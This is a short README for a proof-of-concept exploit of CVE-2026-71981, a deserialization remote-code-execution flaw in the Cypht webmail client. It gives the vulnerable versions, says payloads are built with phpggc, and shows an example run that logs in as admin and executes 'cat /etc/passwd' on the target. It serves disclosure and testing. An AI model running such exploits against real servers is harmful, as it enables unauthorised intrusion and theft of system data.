lyn4r/cve-2026-71981Proof-of-concept exploit for CVE-2026-71981, an insecure deserialization RCE in Cypht. Executes commands and prints output via logout response. Requires phpggc for payload generation.
This is a PoC for CVE-2026-71981 Insecure deserializaion RCE. Result of executed command is printed in response from logout request after the </body></html> tags. Use --print-all to also print the whole response.
Versions vulnerable: < v2.12.2
This script requires installed https://github.com/ambionics/phpggc in order to generate the unserialize() payloads.
Setup and example:
python3 -m venv .venv
source ./.venv/bin/activate
python3 -m pip install -r requirements.txt
python3 ./poc.py --ip 127.0.0.1 --username admin --password admin --command "cat /etc/passwd"
python3 ./poc.py --help